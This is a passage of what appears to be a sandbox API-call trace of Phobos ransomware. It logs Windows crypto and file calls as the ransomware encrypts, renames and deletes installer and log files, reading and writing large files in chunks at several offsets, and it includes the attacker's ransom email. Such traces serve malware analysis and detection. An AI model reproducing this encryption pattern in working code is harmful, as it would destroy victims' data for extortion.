[0048.431] ReadFile (in: hFile=0x320, lpBuffer=0x3000058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf85c, lpOverlapped=0x0 | out: lpBuffer=0x3000058*, lpNumberOfBytesRead=0x2bdf85c*=0x40000, lpOverlapped=0x0) returned 1 [0048.435] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf840, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf8ac | out: phKey=0x2bdf8ac*=0x10d070) returned 1 [0048.435] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.435] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf860*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf860*=0xc0060) returned 1 [0048.436] CryptDestroyKey (hKey=0x10d070) returned 1 [0048.436] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf888 | out: lpNewFilePointer=0x0) returned 1 [0048.436] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2bdf898, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf898*=0xc0112, lpOverlapped=0x0) returned 1 [0048.650] SetEndOfFile (hFile=0x320) returned 1 [0048.650] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf858 | out: lpNewFilePointer=0x0) returned 1 [0048.650] WriteFile (in: hFile=0x320, lpBuffer=0x304014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf864, lpOverlapped=0x0 | out: lpBuffer=0x304014a*, lpNumberOfBytesWritten=0x2bdf864*=0x40000, lpOverlapped=0x0) returned 1 [0048.653] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf858 | out: lpNewFilePointer=0x0) returned 1 [0048.653] WriteFile (in: hFile=0x320, lpBuffer=0x304014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf864, lpOverlapped=0x0 | out: lpBuffer=0x304014a*, lpNumberOfBytesWritten=0x2bdf864*=0x40000, lpOverlapped=0x0) returned 1 [0048.655] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf858 | out: lpNewFilePointer=0x0) returned 1 [0048.655] WriteFile (in: hFile=0x320, lpBuffer=0x304014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf864, lpOverlapped=0x0 | out: lpBuffer=0x304014a*, lpNumberOfBytesWritten=0x2bdf864*=0x40000, lpOverlapped=0x0) returned 1 [0048.657] CloseHandle (hObject=0x320) returned 1 [0049.180] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0049.180] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0049.180] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=1163264) returned 1 [0049.180] CloseHandle (hObject=0x320) returned 1 [0049.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0049.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0049.181] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0049.181] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0049.181] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0049.181] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.181] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cdf0) returned 1 [0049.181] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0049.181] ReadFile (in: hFile=0x320, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x110100, lpOverlapped=0x0) returned 1 [0049.197] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x110100, dwBufLen=0x110100 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x110100) returned 1 [0049.198] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x110100, lpOverlapped=0x0) returned 1 [0049.508] ReadFile (in: hFile=0x320, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0xbf00, lpOverlapped=0x0) returned 1 [0049.508] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xbf10, dwBufLen=0xbf10 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xbf10) returned 1 [0049.508] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xbf10, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0xbf10, lpOverlapped=0x0) returned 1 [0049.509] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d170) returned 1 [0049.509] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0049.509] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0049.509] CryptDestroyKey (hKey=0x10d170) returned 1 [0049.509] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0049.509] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0049.509] CloseHandle (hObject=0x320) returned 1 [0049.509] CloseHandle (hObject=0x308) returned 1 [0049.534] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0049.535] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0049.535] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.536] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=43131591) returned 1 [0049.536] CloseHandle (hObject=0x308) returned 1 [0049.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0049.536] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0049.536] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Extended.mzz.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0049.536] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0049.536] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0049.536] ReadFile (in: hFile=0x308, lpBuffer=0x2f80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf85c, lpOverlapped=0x0 | out: lpBuffer=0x2f80058*, lpNumberOfBytesRead=0x2bdf85c*=0x40000, lpOverlapped=0x0) returned 1 [0050.204] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0050.204] ReadFile (in: hFile=0x308, lpBuffer=0x2fc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf85c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0058*, lpNumberOfBytesRead=0x2bdf85c*=0x40000, lpOverlapped=0x0) returned 1 [0050.206] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0050.206] ReadFile (in: hFile=0x308, lpBuffer=0x3000058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf85c, lpOverlapped=0x0 | out: lpBuffer=0x3000058*, lpNumberOfBytesRead=0x2bdf85c*=0x40000, lpOverlapped=0x0) returned 1 [0050.215] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf840, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf8ac | out: phKey=0x2bdf8ac*=0x10caf0) returned 1 [0050.215] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0050.216] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf860*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf860*=0xc0060) returned 1 [0050.216] CryptDestroyKey (hKey=0x10caf0) returned 1 [0050.217] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf888 | out: lpNewFilePointer=0x0) returned 1 [0050.217] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2bdf898, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf898*=0xc0112, lpOverlapped=0x0) returned 1 [0051.173] SetEndOfFile (hFile=0x308) returned 1 [0051.173] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf858 | out: lpNewFilePointer=0x0) returned 1 [0051.174] WriteFile (in: hFile=0x308, lpBuffer=0x304014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf864, lpOverlapped=0x0 | out: lpBuffer=0x304014a*, lpNumberOfBytesWritten=0x2bdf864*=0x40000, lpOverlapped=0x0) returned 1 [0051.175] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf858 | out: lpNewFilePointer=0x0) returned 1 [0051.175] WriteFile (in: hFile=0x308, lpBuffer=0x304014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf864, lpOverlapped=0x0 | out: lpBuffer=0x304014a*, lpNumberOfBytesWritten=0x2bdf864*=0x40000, lpOverlapped=0x0) returned 1 [0051.175] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf858 | out: lpNewFilePointer=0x0) returned 1 [0051.176] WriteFile (in: hFile=0x308, lpBuffer=0x304014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf864, lpOverlapped=0x0 | out: lpBuffer=0x304014a*, lpNumberOfBytesWritten=0x2bdf864*=0x40000, lpOverlapped=0x0) returned 1 [0051.191] CloseHandle (hObject=0x308) returned 1 [0052.954] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0052.954] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0052.954] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=2192672) returned 1 [0052.954] CloseHandle (hObject=0x340) returned 1 [0052.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0052.955] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0052.955] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0052.955] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0052.955] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0052.955] ReadFile (in: hFile=0x340, lpBuffer=0x2f80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf85c, lpOverlapped=0x0 | out: lpBuffer=0x2f80058*, lpNumberOfBytesRead=0x2bdf85c*=0x40000, lpOverlapped=0x0) returned 1 [0053.109] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0053.109] ReadFile (in: hFile=0x340, lpBuffer=0x2fc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf85c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0058*, lpNumberOfBytesRead=0x2bdf85c*=0x40000, lpOverlapped=0x0) returned 1 [0053.359] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0053.359] ReadFile (in: hFile=0x340, lpBuffer=0x3000058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf85c, lpOverlapped=0x0 | out: lpBuffer=0x3000058*, lpNumberOfBytesRead=0x2bdf85c*=0x40000, lpOverlapped=0x0) returned 1 [0053.404] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf840, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf8ac | out: phKey=0x2bdf8ac*=0x10ceb0) returned 1 [0053.405] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0053.405] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf860*=0xc0080, dwBufLen=0xc0080 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf860*=0xc0080) returned 1 [0053.406] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0053.406] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf888 | out: lpNewFilePointer=0x0) returned 1 [0053.406] WriteFile (in: hFile=0x340, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x2bdf898, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf898*=0xc0132, lpOverlapped=0x0) returned 1 [0053.420] SetEndOfFile (hFile=0x340) returned 1 [0053.420] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf858 | out: lpNewFilePointer=0x0) returned 1 [0053.420] WriteFile (in: hFile=0x340, lpBuffer=0x304016a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf864, lpOverlapped=0x0 | out: lpBuffer=0x304016a*, lpNumberOfBytesWritten=0x2bdf864*=0x40000, lpOverlapped=0x0) returned 1 [0053.422] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf858 | out: lpNewFilePointer=0x0) returned 1 [0053.422] WriteFile (in: hFile=0x340, lpBuffer=0x304016a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf864, lpOverlapped=0x0 | out: lpBuffer=0x304016a*, lpNumberOfBytesWritten=0x2bdf864*=0x40000, lpOverlapped=0x0) returned 1 [0053.424] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf858 | out: lpNewFilePointer=0x0) returned 1 [0053.424] WriteFile (in: hFile=0x340, lpBuffer=0x304016a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf864, lpOverlapped=0x0 | out: lpBuffer=0x304016a*, lpNumberOfBytesWritten=0x2bdf864*=0x40000, lpOverlapped=0x0) returned 1 [0053.425] CloseHandle (hObject=0x340) returned 1 [0054.310] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0054.310] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0054.310] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=5091790) returned 1 [0054.310] CloseHandle (hObject=0x318) returned 1 [0054.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0054.310] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0054.311] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0054.311] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0054.311] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0054.311] ReadFile (in: hFile=0x318, lpBuffer=0x2f80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf85c, lpOverlapped=0x0 | out: lpBuffer=0x2f80058*, lpNumberOfBytesRead=0x2bdf85c*=0x40000, lpOverlapped=0x0) returned 1 [0054.670] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0054.670] ReadFile (in: hFile=0x318, lpBuffer=0x2fc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf85c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0058*, lpNumberOfBytesRead=0x2bdf85c*=0x40000, lpOverlapped=0x0) returned 1 [0054.702] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0054.702] ReadFile (in: hFile=0x318, lpBuffer=0x3000058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf85c, lpOverlapped=0x0 | out: lpBuffer=0x3000058*, lpNumberOfBytesRead=0x2bdf85c*=0x40000, lpOverlapped=0x0) returned 1 [0054.764] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf840, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf8ac | out: phKey=0x2bdf8ac*=0x10ccf0) returned 1 [0054.764] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0054.765] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf860*=0xc0080, dwBufLen=0xc0080 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf860*=0xc0080) returned 1 [0054.766] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0054.766] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf888 | out: lpNewFilePointer=0x0) returned 1 [0054.766] WriteFile (in: hFile=0x318, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x2bdf898, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf898*=0xc0132, lpOverlapped=0x0) returned 1 [0054.786] SetEndOfFile (hFile=0x318) returned 1 [0054.786] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf858 | out: lpNewFilePointer=0x0) returned 1 [0054.787] WriteFile (in: hFile=0x318, lpBuffer=0x304016a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf864, lpOverlapped=0x0 | out: lpBuffer=0x304016a*, lpNumberOfBytesWritten=0x2bdf864*=0x40000, lpOverlapped=0x0) returned 1 [0054.788] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf858 | out: lpNewFilePointer=0x0) returned 1 [0054.788] WriteFile (in: hFile=0x318, lpBuffer=0x304016a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf864, lpOverlapped=0x0 | out: lpBuffer=0x304016a*, lpNumberOfBytesWritten=0x2bdf864*=0x40000, lpOverlapped=0x0) returned 1 [0054.790] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf858 | out: lpNewFilePointer=0x0) returned 1 [0054.790] WriteFile (in: hFile=0x318, lpBuffer=0x304016a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdf864, lpOverlapped=0x0 | out: lpBuffer=0x304016a*, lpNumberOfBytesWritten=0x2bdf864*=0x40000, lpOverlapped=0x0) returned 1 [0054.792] CloseHandle (hObject=0x318) returned 1 [0056.637] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0056.637] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0057.551] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0057.551] CloseHandle (hObject=0x33c) returned 1 [0057.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0057.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.552] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0057.552] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 